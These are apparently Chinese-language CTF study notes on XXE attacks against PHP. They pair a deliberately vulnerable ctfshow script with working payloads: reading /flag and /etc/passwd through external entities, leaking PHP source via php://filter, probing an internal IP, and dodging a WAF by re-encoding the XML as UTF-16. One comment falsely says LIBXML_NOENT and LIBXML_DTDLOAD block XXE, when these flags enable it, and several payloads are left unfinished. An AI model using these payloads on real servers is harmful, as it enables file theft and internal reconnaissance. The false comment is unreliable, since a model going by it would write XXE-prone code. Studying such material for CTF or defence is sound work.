1.例题:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
//函数本来是用于禁止加载外部实体的,但是值是false,所以这里是允许加载外部实体
$xmlfile = file_get_contents('php://input');
//使用file_get_contents函数从php://input流(从HTTP请求体中读取数据)中读取XML文件的内容,并将其存储在变量$xmlfile中。这个流是用于从客户端传递数据到服务器端的。
if(isset($xmlfile)){
$dom = new DOMDocument();
//使用DOMDocument类来解析XML文件并将其存储在变量$dom中。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//loadXML方法是用于解析XML文档的,其中LIBXML_NOENT和LIBXML_DTDLOAD是用于防止XXE攻击的安全选项。这样设置可以防止外部实体被加载,从而避免了安全漏洞。
$creds = simplexml_import_dom($dom);
//simplexml_import_dom函数将DOM文档转换为SimpleXMLElement对象,并将其存储在变量$creds中。这个函数的作用是将DOM文档转换为更容易处理的形式,以便我们可以轻松地提取其中的元素和属性。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
//从$creds变量中提取ctfshow元素的内容,并将其输出到浏览器中。如果ctfshow元素不存在,则不会输出任何内容。
}
highlight_file(__FILE__);
(1)有回显payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<mumuzi>
<ctfshow>&cmd;</ctfshow>
</mumuzi>
伪协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode()/resource=/var/www/html/doLogin.php">
(2)无回显:探测内网
/etc/hosts 储存域名解析的缓存
/etc/passwd 用户密码
/proc/net/arp 每个网络接口的arp表中dev包
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "http://10.244.80.187">
2.编码绕过Waf
这里通过XXE编码转换成utf-16编码绕过
注意:需要在linux下vim 编辑1.xml然后通过这个编码命令才能成功
命令:iconv -f utf8 -t utf-16 1.xml>2.xml
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>&xxe;</group>
</user>
</users>
直接上传会提示被WAF拦截了,通过iconv转换成utf-16编码绕过
XXE
打开实例有一个phpinfo文件,根据题目提示是XXE那就找找xml配置信息,直接搜xml发现libxml是2.8.0版本,xml2.8.0版本默认解析外部实体,不过libxml2.9.0以后,默认不解析外部实体
经过百度得知有几个文件可能会导致xxe漏洞,文件如下
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
知道有哪些文件可以导致xxe漏洞,直接dirsearch发现www目录下有一个dom.php文件,直接访问
dom.php后发现有各类的配置信息出现,直接利用该文件发送xml语句
这里根据一开始实例的提示,flag在flagggg.php,直接利用伪协议读取该文件
<?xml version="1.0" encoding="utf-8"?> // xml声明
<!DOCTYPE xxe [
<!ELEMENT name ANY > // DTD部分
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=读取的文件名" >]>
<root>
<name>&xxe;</name>//xml部分
</root>